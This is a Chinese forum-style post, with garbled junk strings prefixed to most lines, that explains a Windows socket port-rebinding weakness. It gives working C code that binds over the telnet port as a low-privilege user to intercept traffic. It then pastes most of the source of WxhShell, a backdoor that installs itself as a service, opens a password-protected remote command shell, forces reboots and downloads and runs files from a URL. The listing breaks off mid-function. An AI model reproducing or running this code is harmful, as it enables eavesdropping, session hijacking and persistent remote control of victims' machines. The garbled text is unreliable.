在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.s8u?1b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.FWi$B'; %~$coZY^ saddr.sin_family = AF_INET;
JMVh\($,x ]qPrXuS/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)ld`2)
4 1[k.apn bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4u}jkd$]* o_@6R"| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>5c38D7k) jM'(Qa
这意味着什么?意味着可以进行如下的攻击:
C=zc6C, >)6d~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
id:6O+\ iR39lOr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N*NGC!p`N yZyB.wT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
oH>G3n|U^ L+N;mI8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5`QN<4?% dc=~EG-_rM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>tQ$V<YB 57`*5X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
h(MNH6B1 `\Ye:$q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<Dq7^,}# {wwkbc* #include
e.l3xwt>$ #include
t}x^*I$* #include
mVVL[z2+ #include
bb}$7v`G DWORD WINAPI ClientThread(LPVOID lpParam);
7:$zSj#y int main()
>'g>CD! {
<R.Ipyt. WORD wVersionRequested;
2}xvM"k=k DWORD ret;
h'|J$ WSADATA wsaData;
^nGKuW7\ BOOL val;
jx[g;7~X SOCKADDR_IN saddr;
,/Usyb,` SOCKADDR_IN scaddr;
m!LJK`gA int err;
/Ps5Og SOCKET s;
RQQ\y`h` SOCKET sc;
hreG5g9{ int caddsize;
mh"9V5T HANDLE mt;
sRaTRL2 DWORD tid;
t^5xq8w8 wVersionRequested = MAKEWORD( 2, 2 );
;oGpB#[zO err = WSAStartup( wVersionRequested, &wsaData );
T'${*NVn if ( err != 0 ) {
d6vls7J/4 printf("error!WSAStartup failed!\n");
aYrbB# return -1;
6)j/"9oY }
qfS
]vc_N saddr.sin_family = AF_INET;
a=&{B'^G ;tG@ 6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lSK<LytB u81@vEK:_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
e{E8_2d saddr.sin_port = htons(23);
nz_1Fu>g| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>(BAIjF
E\ {
:/~TV printf("error!socket failed!\n");
(!"&c*
< return -1;
IEeh9:Km }
u 1)
#^? val = TRUE;
y@2$sK3K //SO_REUSEADDR选项就是可以实现端口重绑定的
J[{?Y'RUM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c#<p44>U {
bv9nDNPD4 printf("error!setsockopt failed!\n");
JSu+/rI1 return -1;
z(
^
r }
4B$|UG //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!63]t?QXMG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
bW?cb5C //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&E0L 2gbI Q1^kU0M } if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
MR}h}JEx0 {
cVuT|b^ ret=GetLastError();
9`Zwa_Tni printf("error!bind failed!\n");
Z>(K|3_ return -1;
j7sRmQCl }
@D+2dT0[M listen(s,2);
gvCQ![ while(1)
$c1xh. {
=.\PG[ caddsize = sizeof(scaddr);
+Vw]DLWR //接受连接请求
Y |'}VU sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wS @-EcCB if(sc!=INVALID_SOCKET)
Cu`ty] -' {
GB8>R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{2T;^+KE if(mt==NULL)
Qa@]
sWcM {
i(an]%'v printf("Thread Creat Failed!\n");
(Q[(] dfc break;
$9rQ w1#e }
zY2o;-d|4 }
Ux+UcBKm- CloseHandle(mt);
y1_z(L;I }
:7[4wQDt4 closesocket(s);
'h3yxf}\ WSACleanup();
r O-=):2 return 0;
K_o[m!:jU }
u5rHQA0% DWORD WINAPI ClientThread(LPVOID lpParam)
1g>>{ y {
XkEE55#>| SOCKET ss = (SOCKET)lpParam;
/y[zOT6 SOCKET sc;
,ePl>m:Z
unsigned char buf[4096];
?5<x$YI SOCKADDR_IN saddr;
M+GtUE~" long num;
F42?h:y8I DWORD val;
^2\-zX!bt DWORD ret;
,?(U4pzX //如果是隐藏端口应用的话,可以在此处加一些判断
O*udV E> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6~tj"34_ saddr.sin_family = AF_INET;
BXa.XZ<n( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
v%E~sX&CG saddr.sin_port = htons(23);
@~C
C$Y$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,&iZ*6=X?0 {
o@uZU4MM printf("error!socket failed!\n");
n0%5mTUN return -1;
X1FKcWv }
"] [u val = 100;
@YHt[>*S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DsCbMs=Y {
tJ9gwx7Pg ret = GetLastError();
ZYs?65. return -1;
<8YIQA }
!P@4d G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u]MQ(@HHF {
fir#5,*q| ret = GetLastError();
W-<`Vo' return -1;
(o518fmR }
+6Ye'IOG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rbc7CPq_^ {
35n'sVn printf("error!socket connect failed!\n");
9O|k|FD closesocket(sc);
yII+#?D closesocket(ss);
(7w95xI return -1;
K:54`UJ }
v(~EO(n. while(1)
rp,Us#>6 {
NuR3]Ja\0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tOxTiaa= //如果是嗅探内容的话,可以再此处进行内容分析和记录
04#<qd&ob@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Tl L\&n.$ num = recv(ss,buf,4096,0);
j|%>NB ): if(num>0)
3,)[Q?nKD send(sc,buf,num,0);
*QA{xvT else if(num==0)
9{CajtN break;
Ib2n Bg>j num = recv(sc,buf,4096,0);
;"JgNad if(num>0)
'c#AGi9 send(ss,buf,num,0);
k%?qN,Cl else if(num==0)
>/G[Oo break;
z yrjb8 }
,*Wp$ closesocket(ss);
%hi]oz closesocket(sc);
&?Z<"+B8S return 0 ;
P1dFoQz }
hr`,s!0Y KskPFXxP 3*#$:waGd ==========================================================
"1%\Fi l }% `f%/ 下边附上一个代码,,WXhSHELL
V?"1&m&E TTD#ovo' ==========================================================
w}0rDWuR[ @YbZ"Jb #include "stdafx.h"
_V(FHjY zuI7Px #include <stdio.h>
bJ^Jmb #include <string.h>
lu;gmWz #include <windows.h>
*3rp
g #include <winsock2.h>
N9 TM #include <winsvc.h>
;^cMP1SH #include <urlmon.h>
tY%T -%TwtO<$'] #pragma comment (lib, "Ws2_32.lib")
-q&7q #pragma comment (lib, "urlmon.lib")
X/FR e[R G6p R?K+ #define MAX_USER 100 // 最大客户端连接数
V)]lca #define BUF_SOCK 200 // sock buffer
CPcB17! #define KEY_BUFF 255 // 输入 buffer
X3HJ3F;== %J+k.UrM #define REBOOT 0 // 重启
8^!ib/@v" #define SHUTDOWN 1 // 关机
V\=%u<f
t|C?=:_ #define DEF_PORT 5000 // 监听端口
&n]]OPo @./@"mR< #define REG_LEN 16 // 注册表键长度
T'a& #define SVC_LEN 80 // NT服务名长度
th}&|Y)T2 2/ejU,S // 从dll定义API
>=/DCQ$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+>Pq]{Uf1j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3:bP>l! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\_ MWZRMc5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
BO0Y#fs ~h$
H@&5 // wxhshell配置信息
nPhREn! struct WSCFG {
B C R]K int ws_port; // 监听端口
wlpcuz@ char ws_passstr[REG_LEN]; // 口令
j43i:c;F int ws_autoins; // 安装标记, 1=yes 0=no
x\pygzQ/ char ws_regname[REG_LEN]; // 注册表键名
h<i.Z7F;tj char ws_svcname[REG_LEN]; // 服务名
j-v/;7s/B char ws_svcdisp[SVC_LEN]; // 服务显示名
Sg1,9[pb char ws_svcdesc[SVC_LEN]; // 服务描述信息
rBZ00} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vy5I#q(k int ws_downexe; // 下载执行标记, 1=yes 0=no
g{JH5IZ~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[6)vD@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
V o%GO9b; @%!Gj{ };
j.:f=`xf 3iw.yR // default Wxhshell configuration
[ZD`t,x( struct WSCFG wscfg={DEF_PORT,
*_"lXcG. "xuhuanlingzhe",
~R7{gCqdr 1,
1-PFM- "Wxhshell",
EGjzjuJu{ "Wxhshell",
.jl^"{@6 "WxhShell Service",
!X 0 (4^ "Wrsky Windows CmdShell Service",
H%;pPkIi "Please Input Your Password: ",
L08"8\ 1,
n6{nx[%7N7 "
http://www.wrsky.com/wxhshell.exe",
5;A=8bryU "Wxhshell.exe"
;0}C2Cz' };
vqo ~?9z[e :-~x~ah- // 消息定义模块
aZCxyoh + char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8KWhXF char *msg_ws_prompt="\n\r? for help\n\r#>";
XQcE
ZJ2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'Me(qpsq char *msg_ws_ext="\n\rExit.";
8xHjdQr char *msg_ws_end="\n\rQuit.";
}R`}Ey|{ char *msg_ws_boot="\n\rReboot...";
]#dZLm_ char *msg_ws_poff="\n\rShutdown...";
V,eH E5C char *msg_ws_down="\n\rSave to ";
8},fu3Z F2v9XMi char *msg_ws_err="\n\rErr!";
x)T07,3: char *msg_ws_ok="\n\rOK!";
s"l ^v5 <9`/Y"\ p char ExeFile[MAX_PATH];
q[+V6n`Z5 int nUser = 0;
CN7qqd HANDLE handles[MAX_USER];
o+?Ko=vYw int OsIsNt;
Zk0? =f?j _RX*Ps= SERVICE_STATUS serviceStatus;
kaV Ye)~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
r8!M8Sc ]v.Yt/&C{ // 函数声明
YrTjHIn~w int Install(void);
nG"Ae8r int Uninstall(void);
E9j(%kQ2 int DownloadFile(char *sURL, SOCKET wsh);
1 w9Aoc int Boot(int flag);
E5$uvxCI void HideProc(void);
}j,G)\g# int GetOsVer(void);
_2WIi/6K int Wxhshell(SOCKET wsl);
_x?S0R1 void TalkWithClient(void *cs);
;sd] IZ$# int CmdShell(SOCKET sock);
zxvowM int StartFromService(void);
cS"PIelR int StartWxhshell(LPSTR lpCmdLine);
@m"P_1`* sUsIu,1Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XPcx"zv\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
{4b8s%:!4 H$]FUv8 // 数据结构和表定义
uB35CRd SERVICE_TABLE_ENTRY DispatchTable[] =
3<HPZWc {
JC4Z^/\. {wscfg.ws_svcname, NTServiceMain},
eh$T
3_#q {NULL, NULL}
+IfU
5&5< };
O)G^VD s U`ELd: // 自我安装
oOK&+r7 int Install(void)
c (0Ez@ {
o<%s\n char svExeFile[MAX_PATH];
>]WQ1E[= HKEY key;
'>r"+X^W strcpy(svExeFile,ExeFile);
ca8.8uHY\ PiwI.c // 如果是win9x系统,修改注册表设为自启动
!:Clzlg if(!OsIsNt) {
Toc="F`SW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W>`#`u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6o]X.plr RegCloseKey(key);
`oo(\O7t= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9$P*fx&m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t~FOaSt RegCloseKey(key);
CEp @-R return 0;
> v ]-B"Y }
6B>H75S+H }
}K\m.+%=d }
i fbO< else {
&(HIBF'O q3R?8Mb // 如果是NT以上系统,安装为系统服务
&sJ%ur+G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
d512Y[ R if (schSCManager!=0)
9`sIE _%+ {
UI.>BZ6} SC_HANDLE schService = CreateService
p=8?hI/bim (
|#-GH$.v schSCManager,
~gvw6e*[ wscfg.ws_svcname,
{F+iL&e) wscfg.ws_svcdisp,
:HG5{zP SERVICE_ALL_ACCESS,
rui]_Fn]I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~b.e9FhdA SERVICE_AUTO_START,
S4BU ! SERVICE_ERROR_NORMAL,
w@ =U f7 svExeFile,
%QrpFE5V5 NULL,
au 5qbP NULL,
w"K;e (S NULL,
]pP [0S NULL,
O*7`Waag NULL
p-o!K\o-1 );
\4|o5, +(@ if (schService!=0)
h*\/{$y {
Yn }Ivg CloseServiceHandle(schService);
AjA.="3 CloseServiceHandle(schSCManager);
=HkB>w)h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uKocEWB=/F strcat(svExeFile,wscfg.ws_svcname);
w>ap8><4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Da"GYEC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
==pGRauq RegCloseKey(key);
h\i>4^]X. return 0;
.IJgkP)!] }
+Qe"O0 }
9n#Em CloseServiceHandle(schSCManager);
WMLsKoby }
jVtRn.qh }
U}Aoz| >'X[*:Cx return 1;
I2PFJXp_]n }
.[KXO0Ui6u A(Ss:7({ // 自我卸载
_7LZ\V+MLW int Uninstall(void)
1Xi.OGl {
Hs~u&c HKEY key;
uY6|LTK&x 3bW(VvgcL4 if(!OsIsNt) {
;<=B I! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!:^lTvYWZH RegDeleteValue(key,wscfg.ws_regname);
q|+`ihut RegCloseKey(key);
T[YGQT|B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}}'0r2S RegDeleteValue(key,wscfg.ws_regname);
]FLi^}ct RegCloseKey(key);
CUR70[pB) return 0;
{b6$F[e }
^1^muc[ }
eBW=bK~[VP }
!w9w{dtW= else {
(;@\gRL E5J2=xVW# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S!;:7?mq if (schSCManager!=0)
eJ23$VM+9 {
Cg!]x
o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
h NCoX*icd if (schService!=0)
(wRJ"Nwu {
cKKl\g@} if(DeleteService(schService)!=0) {
lp;=f CloseServiceHandle(schService);
\%FEQa0u CloseServiceHandle(schSCManager);
,{br6*E return 0;
GDW$R`2 }
J!GWP:b3 CloseServiceHandle(schService);
g}B|ZRz+{ }
U<*8KiI CloseServiceHandle(schSCManager);
_26<}&]b* }
[*k25N }
>; A7mi/ VkNg Vjg return 1;
2yyJ19Iul }
?<iinx z[I3k // 从指定url下载文件
h8Bs=T int DownloadFile(char *sURL, SOCKET wsh)
zNs8yMnFr {
$bd&$@sA HRESULT hr;
yRZb_Mq9U char seps[]= "/";
6jKZ.S+s) char *token;
Nx8~Rn char *file;
O7_u9lz2 char myURL[MAX_PATH];
: ;nvqb d char myFILE[MAX_PATH];
&z@~n QyGTm"9l strcpy(myURL,sURL);
csPziH$wl token=strtok(myURL,seps);
z|o7k;raH while(token!=NULL)
9"=1 O {
?J<V-,i file=token;
tR,&|?0 token=strtok(NULL,seps);
DaV:Slp9 }
d%y)/5 ya<nD '%9 GetCurrentDirectory(MAX_PATH,myFILE);
\Tc<27- strcat(myFILE, "\\");
%q~YJ*\ strcat(myFILE, file);
F.s*^}L[ send(wsh,myFILE,strlen(myFILE),0);
Qd %U(| send(wsh,"...",3,0);
sUc_) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
w&vZ$n-| if(hr==S_OK)
a,GOS:?O5 return 0;
P;V$%r`yD else
6%hr]>L return 1;
3N(5V;ti &DX&*Xq2 }
\i*QKV< *Vbf;=Mb // 系统电源模块
3y[6n$U& int Boot(int flag)
Ej\Me {
0^H"eQO HANDLE hToken;
N-0kB vo TOKEN_PRIVILEGES tkp;
Q"6:W2#v -W/Lg5eK if(OsIsNt) {
#%~PNki OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\gBsAZE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
PQ u_]cXI tkp.PrivilegeCount = 1;
Ihd{@6m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
N)kZ2|oD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
V<:)bG4;d if(flag==REBOOT) {
|ODi[~y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:7WeR0*% return 0;
eWN[EJI< }
5f~49(v] else {
UABaS(f3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0eGz|J*7 return 0;
vKcZgIR }
'`)r<lYN, }
Q7!";ol2 else {
b1*5#2rs. if(flag==REBOOT) {
(bX77 Xr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c %jW' return 0;
;R_H8vp }
>FR;Ux~a else {
ul-A' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|7pi9 return 0;
w1Xe9'$Qb }
wNfWHaH" m }
PnUYL.v !_No\O return 1;
iI]E%H} }
Izapx\GK9 ~S85+OJ;M // win9x进程隐藏模块
RT`jWWh*Lo void HideProc(void)
8mmHefZ}2! {
(lzZ=T RBA{! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_Nx#)(x if ( hKernel != NULL )
o^\L41x3 {
yP~O C|Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7 {n>0@_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@V7HxW7RX FreeLibrary(hKernel);
q-3e^-S* }
,ix> e M>yt\qbkA return;
smJ#.I6/L }
mdB~~j O0~Qh0~l // 获取操作系统版本
Z8vR/ int GetOsVer(void)
`{B<|W$= {
/SvB
w>gQ OSVERSIONINFO winfo;
|EjMpRNE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
.szc-r{ GetVersionEx(&winfo);
6+iZJgwAy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
rHMr8,J; return 1;
p(8[n^~,i else
"%?$BoJR0 return 0;
S_|VlI }
g{U?Y" 1M<;}hJ{/ // 客户端句柄模块
7_^JgA|Kk7 int Wxhshell(SOCKET wsl)
B=;pwX {
7xlarns SOCKET wsh;
v6#i>n~x, struct sockaddr_in client;
qJyGr ? DWORD myID;
gNj~o^6|@ <`P7^
'z! while(nUser<MAX_USER)
1oSU>I_i {
VS\+"TPuH int nSize=sizeof(client);
l.Yq4qW wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
C"[d bh! if(wsh==INVALID_SOCKET) return 1;
Es^=&2'' Q\qI+F2? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{*NM~yQ if(handles[nUser]==0)
upc-Qvk closesocket(wsh);
#FwTV@ else
h)o5j-M>4 nUser++;
G,,7.%eib= }
[a2Q ^ab WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+)06*"I [izP1A$r#Q return 0;
q Xj]O3
mm }
k "Qr )"sJaHx< // 关闭 socket
|jw{7\+ void CloseIt(SOCKET wsh)
f$I$A(0P {
F./$nwb closesocket(wsh);
{@*l ,[,5- nUser--;
YX,xC-37y ExitThread(0);
e{k)]]J }
MWHzrqCA & Do|Hw // 客户端请求句柄
F*{1, gb void TalkWithClient(void *cs)
mO0a: i! {
I;rh(FMV N&YQZ^o SOCKET wsh=(SOCKET)cs;
{K ,-fbE char pwd[SVC_LEN];
*T:gx:Sg/ char cmd[KEY_BUFF];
-_p@I+B char chr[1];
O@7={)6qc int i,j;
^sb+|b wNtPh& while (nUser < MAX_USER) {
@S#Ls="G wVac6q
if(wscfg.ws_passstr) {
(|t)MnPfY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"IMq + //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mJFFst, //ZeroMemory(pwd,KEY_BUFF);
1_RN*M+# i=0;
~z&Ho while(i<SVC_LEN) {
9{Xh wi)z cK _:?G // 设置超时
nZP%Z=p7 fd_set FdRead;
2y` :#e`x1 struct timeval TimeOut;
je`w$ ^w FD_ZERO(&FdRead);
=CGB}qU l0 FD_SET(wsh,&FdRead);
em,j>qp TimeOut.tv_sec=8;
]<<+#Rg TimeOut.tv_usec=0;
:(Uz`k7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
("T8 mt[w> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:!WKD@] #1VejeTi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y V#|qb pwd
=chr[0]; nA 5-P}
if(chr[0]==0xd || chr[0]==0xa) { yaW HGre
pwd=0; OaCp3No
break; ?CHFy2%Y
} )uxXG`,h
i++; n.tJ-l5[
} r>.^4Z@
YdiXj |k+
// 如果是非法用户,关闭 socket 6,:`esl
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f3M~2jbv'p
} kf>L
IP-}J$$1
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jSMs<ox
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [X=J]e^D
@ 9q/jv`
while(1) { A_xUP9g@?
9!UFLZR
ZeroMemory(cmd,KEY_BUFF); ," ~4l&
!Q" 3B6
86
// 自动支持客户端 telnet标准 [2Rw)!N
j=0; xGVL|/?8
while(j<KEY_BUFF) { I$vM )+v=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FEqR7
cmd[j]=chr[0]; p&<X&D
if(chr[0]==0xa || chr[0]==0xd) { v.pj
PBU1
cmd[j]=0; }Pf7YuUZZ
break; #M5[TN!
} J2P5<
j++; bWOn`#+&
} =sa bJsgL
dt=5 Pnf[y
// 下载文件 dX>l"))yR
if(strstr(cmd,"http://")) { tW7*(D
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {nl4(2$
if(DownloadFile(cmd,wsh)) B}A7Usm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bvy(vc=UDW
else q" %;),@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I~:
AWS9
} j@b18wZ
else { 2 bQC2
km+}./@
switch(cmd[0]) { xs ^$fn\
#w<:H1,4
// 帮助 a}]zwV&
case '?': { glvtumv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kH10z~(e
break; K;}h
u(*\]
} _8G
// 安装 Nq3q##Ut:
case 'i': { #Kp/AN5YC
if(Install()) oztfr<cUH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); std4Nyp
else q>X%MN y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bWAVBF
break; u teI[Q
} (&x#VmDL
// 卸载 .5PcprE/
case 'r': { SKf[&eP,G
if(Uninstall()) RO1xcCp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (!^(74
else o]vU(j_Ju
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B[R1XpB7
break; R;*3";+v|:
} 8>sToNRNe
// 显示 wxhshell 所在路径 /o19/Pvwm
case 'p': { %TA3o71
char svExeFile[MAX_PATH]; 3B<$6
strcpy(svExeFile,"\n\r"); ]zza/O;31(
strcat(svExeFile,ExeFile); ^dzg'6M
send(wsh,svExeFile,strlen(svExeFile),0); M8, W|eTM
break;
5r:SBt|/
} uW8LG\Z>D5
// 重启 b]NSCu*)s
case 'b': { G^]7!:0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jI8qiZ);~
if(Boot(REBOOT)) yBPaGZ{f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lF\oEMd*
else { h>6'M
closesocket(wsh); d2x|PpmH
ExitThread(0); &.Jp,Xt)
} dfDz/sD*
break; [kyF |3k~
} CjtXU=}A
// 关机 /8GgEW9Q~G
case 'd': { IR+dGqIjZb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >!OD[9
if(Boot(SHUTDOWN)) >HUU`= SC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \I@=EF- &
else { 8-?.Q"D7%
closesocket(wsh); Asn7;x0;
ExitThread(0); v[_C^;
} :/BU-SFK^
break; .]qj];m
} ['MG/FKuv
// 获取shell L>Y>b4oy3
case 's': { O/9 dPod
CmdShell(wsh); t&SC>8M<
closesocket(wsh); l)glT]G3+
ExitThread(0); T<|B1jA
break; >5&'_
} (Id]'w4
// 退出 af61!?K
case 'x': { 3hOiHO
;
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DHO6&8S
CloseIt(wsh); 9=j"kXFf
break; 2NLD7A
} ?q(7avS9
// 离开 W27EU/+3
case 'q': { 2Y)3Ue
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )v-sde\
closesocket(wsh); ;^}gC}tq
WSACleanup(); FY [WdZDZ
exit(1); uoYG@L2
break; Cg/L/0Ak
} /2K4ka<?7
} =h?WT*
} 6s{~9
[2UjY^\;T
// 提示信息 )z/+!y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P {x`eD0
} GqXnOmk
} {H+~4XG
>;eWgQ6V
return; aU,Zjm7fp
} (c ?OcwTH
(PjC]`FK
// shell模块句柄 XYtDovbv&
int CmdShell(SOCKET sock) N<1u,[+
{ c
rPEr
STARTUPINFO si; ~F^(O{EG
ZeroMemory(&si,sizeof(si)); a$p?r3y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wK+%[i&,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .az+'1
PROCESS_INFORMATION ProcessInfo; #5xK&qA
char cmdline[]="cmd"; Y
'&&1R
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~6z<tyD^
return 0; {OP[Rrm
} sas}k7m"
*p}b_A}D
// 自身启动模式 3~~Kt H=
int StartFromService(void) 'c3P3`o,;
{ $<.\,wW*'w
typedef struct w yP|#Z\
{ NGIbUH1[
